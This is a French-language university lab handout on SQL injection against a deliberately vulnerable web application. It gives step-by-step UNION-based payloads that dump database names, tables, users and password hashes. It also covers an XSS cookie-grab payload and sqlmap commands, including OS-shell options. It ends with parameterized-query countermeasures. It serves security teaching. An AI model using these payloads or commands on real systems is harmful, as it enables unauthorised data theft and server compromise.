TP 11 : SQL Injection in Web Application
Dans ce TP, la sécurité d'une application web sera analysée en utilisant l'injection SQL. L'injection
SQL permet à des personnes non autorisées d'utiliser la syntaxe SQL pour interroger la base de
données du serveur web ; on parle d'injection car la syntaxe SQL est insérée dans les variables de
l'application web.
Terminologies
Une attaque par injection SQL consiste en l'insertion ou l'"injection" d'une requête SQL via les
données d'entrée du client vers l'application. Une exploitation réussie de l'injection SQL peut lire
des données sensibles depuis la base de données, modifier les données de la base de données
(insertion/mise à jour/suppression), exécuter des opérations d'administration sur la base de données
(comme arrêter le SGBD), récupérer le contenu d'un fichier donné présent sur le système de
fichiers du SGBD (load_file) et, dans certains cas, émettre des commandes au système
d'exploitation.
Les attaques par injection SQL sont un type d'attaque par injection, où des commandes SQL sont
injectées dans les données d'entrée afin d'exécuter des commandes SQL prédéfinies.
Cette attaque peut également être appelée "SQLi".
Prérequis pour ce TP
1. Machine IseaVulnerbleWebAppV17 et Windows7 ([Link]).
Procédure du TP
1. Démarrez la machine virtuelle IseaVulnerbleAppV.17 et la machine Windows7 ([Link]), les
deux machines doivent communiquer entre elles.
2. Accédez au portail web vulnérable en utilisant [Link] sur la machine Windows7.
3. Connectez-vous avec les identifiants (admin && password).
4. Réglez le niveau de sécurité sur "Low" en suivant IseaVWA>>Low>>Submit.
5. Cliquez maintenant sur le lien SQL Injection.
Basic Injection
6. Entrez "1" dans la zone de texte et cliquez sur Soumettre.
7. Voici l'instruction PHP SELECT que nous allons exploiter, en particulier $id.
$getid = "SELECT first_name, last_name FROM users WHERE user_id =
'$id'";
8. Maintenant, entrez la chaîne spéciale suivante pour essayer une injection SQL et
cliquez sur "Soumettre".
%' or '0' = '0
9. Voici un exemple de scénario "Toujours Vrai".
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' or
'0'='0';
Par cette instruction, l'utilisateur obtiendrait tous les prénoms et noms. Maintenant, l'utilisateur
doit entrer une instruction différente pour trouver le nom d'utilisateur et son mot de passe en suivant
le processus étape par étape, comme indiqué ci-dessous.
Affichage de la version de la base de données
10. Entrez le texte ci-dessous et cliquez sur "Soumettre".
%' or 0=0 union select null, version() #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' or
'0'='0' union select null, version();
Affichage de l'utilisateur de la base de données
11. Entrez le texte ci-dessous et cliquez sur "Soumettre".
%' or 0=0 union select null, user() #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0' union select
null, user();
Afficher le nom de la base de données
12. Saisissez le texte ci-dessous et cliquez sur "Submit" (soumettre) :
%' or 0=0 union select null, database() #
La requête générée est la suivante :
SELECT first_name, last_name
FROM users
WHERE user_id = '%' or '0'='0'
UNION
SELECT null, database();
Décomposition :
❖ %' or 0=0 : Une injection SQL qui contourne les conditions du WHERE en utilisant une
condition toujours vraie (0=0).
❖ union select null, database() : Une union permet de concaténer un autre jeu de
résultats. Ici, il récupère le nom de la base de données en utilisant la fonction
database().
Affichage de toutes les tables dans information_schema
13. Entrez le texte ci-dessous et cliquez sur "Soumettre".
%' and '1'='0' union select null, table_name from information_schema.tables #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' and '1'='0' union select null,
table_name from information_schema.tables;
Le INFORMATION_SCHEMA est une base de données d'information qui stocke des informations sur
toutes les autres bases de données que le serveur MySQL maintient.
Affichage de toutes les tables d'utilisateurs dans information_schema
14. Entrez le texte ci-dessous dans la zone de texte "User ID" (voir la figure) et cliquez sur
"Soumettre".
%' and 1=0 union select null, table_name from information_schema.tables where
table_name like 'user%' #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select
null, table_name from information_schema.tables where table_name like 'user%';
Affichage de tous les champs de colonnes dans la table `users` de
information_schema
15. Entrez le texte ci-dessous dans la zone de texte "User ID" et cliquez sur "Soumettre".
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select
null, concat(table_name,0x0a,column_name) from information_schema.columns where
table_name = 'users';
Affichage de tous les champs de colonnes dans la table users
16. Entrez le texte ci-dessous dans la zone de texte "User ID" et cliquez sur "Soumettre".
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)
from users #
Instruction SQL dans la base de données :
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select
null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users;
Ce mot de passe est chiffré par une fonction de hachage, donc l'utilisateur utiliserait l'outil "John
the Ripper" pour le décoder.
sqlmap
sqlmap est un outil puissant écrit en Python qui aide les testeurs d'intrusion et les développeurs à
identifier et exploiter les failles SQL dans une application. Il permet d'exploiter une vulnérabilité
pour accéder à des données, modifier des bases, ou même prendre le contrôle du serveur sous-
jacent.
Caractéristiques principales de sqlmap :
❖ Détection automatique des vulnérabilités :
❖ Teste plusieurs types d'injections SQL, comme UNION-based, Error-based, Boolean-
based, et Blind SQL Injection.
❖ Exploitation des bases de données :
❖ Extraction des données sensibles.
❖ Dump des bases de données ou tables.
❖ Prise de contrôle du serveur.
Support multi-SGBD :
❖ Compatible avec MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, etc.
Options avancées :
❖ Contournement de WAF (Web Application Firewall).
❖ Énumération des utilisateurs, rôles, et privilèges.
Options principales :
Option Description
-h, --help Affiche un message d'aide de base et quitte.
-hh Affiche un message d'aide avancée et quitte.
--version Affiche le numéro de version du programme et quitte.
-v VERBOSE Définit le niveau de verbosité (0-6, par défaut 1).
Cible :
Ces options définissent la ou les cibles à analyser.
Option Description
-u URL URL cible (ex. : "[Link]
-g GOOGLEDORK Utilise les résultats d'un Google Dork comme cibles.
Requête :
Ces options précisent comment se connecter à l'URL cible.
Option Description
--data=DATA Chaîne de données envoyée via POST (ex. : "id=1").
--cookie=COOKIE Valeur de l'en-tête HTTP Cookie (ex. : "PHPSESSID=a8d127e..").
--random-agent Utilise un User-Agent HTTP aléatoire.
--proxy=PROXY Utilise un proxy pour se connecter à l'URL cible.
--tor Utilise le réseau d'anonymat Tor.
--check-tor Vérifie si Tor est correctement configuré.
Injection :
Ces options définissent les paramètres à tester, les charges utiles personnalisées, et les scripts de
contournement.
Option Description
-p TESTPARAMETER Paramètre(s) à tester.
--dbms=DBMS Force l'utilisation d'un SGBD spécifique (ex. : MySQL,
PostgreSQL).
Détection :
Ces options personnalisent la phase de détection.
Option Description
--level=LEVEL Niveau des tests à effectuer (1-5, par défaut 1).
--risk=RISK Niveau de risque des tests (1-3, par défaut 1).
Techniques :
Ces options ajustent les tests pour des techniques spécifiques d'injection SQL.
Option Description
--technique=TECH Techniques d'injection SQL à utiliser (par défaut "BEUSTQ").
Énumération :
Ces options permettent d'énumérer les informations sur le SGBD et ses données.
Option Description
-a, --all Récupère tout.
-b, --banner Récupère la bannière du SGBD.
--current-user Récupère l'utilisateur actuel du SGBD.
--current-db Récupère la base de données actuelle du SGBD.
--passwords Énumère les mots de passe (hashs) des utilisateurs du SGBD.
--dbs Énumère les bases de données du SGBD.
--tables Énumère les tables d'une base de données.
--columns Énumère les colonnes d'une table.
--schema Énumère le schéma complet du SGBD.
--dump Extrait les données d'une table spécifique.
--dump-all Extrait toutes les données de toutes les bases.
-D DB Spécifie une base de données à analyser.
-T TBL Spécifie une ou plusieurs tables à analyser.
-C COL Spécifie une ou plusieurs colonnes à analyser.
Accès au système d'exploitation :
Ces options permettent d'accéder au système d'exploitation sous-jacent au SGBD.
Option Description
--os-shell Ouvre une invite de commandes interactives pour le système d'exploitation.
--os-pwn Lance un shell externe, Meterpreter, ou VNC en mode OOB.
Cliquez maintenant sur le lien XSS Reflected.
Entrez ce texte : <script>alert([Link])</script>
Cliquez sur "Submit"
Utiliser les cookies récupérés comme argument dans SQLMap en spécifiant l'option --
cookie avec la valeur suivante : --cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3;
security=low".
1. Récupère tout
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" –a
Pour énumérer le schéma complet de la base de données (bases, tables, colonnes, etc.) à l'aide de
sqlmap, vous pouvez utiliser l'option --schema. Voici une commande adaptée :
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --schema
2. Récupère l'utilisateur actuel du SGBD.
python [Link] -u "[Link] " --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --current-user
3. Récupère la base de données actuelle du SGBD.
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --current-db
4. Lister les bases de données
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" –dbs
5. Lister les tables d'une base de données spécifique
Après avoir récupéré le nom d'une base de données, vous pouvez lister les tables de cette base.
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" -D <database_name>
--tables
6. Lister les colonnes d'une table spécifique
Après avoir trouvé une table, vous pouvez lister ses colonnes.
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" -D <database_name>
-T <table_name> --columns
7. Dumper les données d'une table
Récupère toutes les données d'une table spécifique.
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" -D <database_name>
-T <table_name> --dump
8. Récupérer les privilèges de l'utilisateur actuel
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --privileges
9. Récupérer les rôles de l'utilisateur actuel
python [Link] -u "[Link] " --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --roles
10. Énumérer les utilisateurs du SGBD
Pour lister tous les utilisateurs connus du système de gestion de base de données :
python [Link] -u "[Link] --
cookie="PHPSESSID=4ifdg7arq36d7v8q2sr60pkgp3; security=low" --users
Résultat du TP :
En raison d'un codage non sécurisé, un pirate pourrait facilement obtenir l'identifiant et le mot de
passe de l'utilisateur (chiffré), et contourner la fonction de sécurité. Mais au niveau impossible, les
requêtes sont maintenant des requêtes paramétrées (plutôt que dynamiques). Cela signifie que la
requête a été définie par le développeur, qui a distingué les parties de code des parties de données.
Consultez 'voir source' pour les deux codages (non sécurisé et sécurisé), voir Annexe-I.
Contre-mesures
La contre-mesure de cette vulnérabilité peut être vue via le bouton 'Voir Source' au niveau de
sécurité impossible. Le code source pour l'injection SQL au niveau impossible est montré ci-
dessous.
<?php
if (isset($_GET['Submit'])) {
// Check Anti-CSRF token
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], '[Link]');
// Get input
$id = $_GET['id'];
// Was a number entered?
if (is_numeric($id)) {
// Check the database
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id =
(:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if ($data->rowCount() == 1) {
// Get values
$first = $row['first_name'];
$last = $row['last_name'];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Le code ci-dessus fonctionne selon une approche de liste blanche. Ici, la fonction checkToken()
est utilisée pour la méthode de requête dans laquelle il faut chercher la clé de jeton et vérifier le
jeton Anti-CSRF. La fonction is_numeric() dans le langage de programmation PHP est utilisée
pour évaluer si une valeur est un nombre ou une chaîne numérique. Les chaînes numériques
contiennent n'importe quel nombre de chiffres, des signes optionnels tels que + ou -, une décimale
optionnelle, et un exponentiel optionnel. Par conséquent, +234.5e6 est une chaîne numérique
valide. La notation binaire et la notation hexadécimale ne sont pas autorisées.
La fonction is_numeric() peut être utilisée dans une instruction if() pour traiter les nombres d'une
manière et les non-nombres d'une autre. Elle renvoie vrai ou faux.
La fonction generateSessionToken() est utilisée pour générer un jeton Anti-CSRF.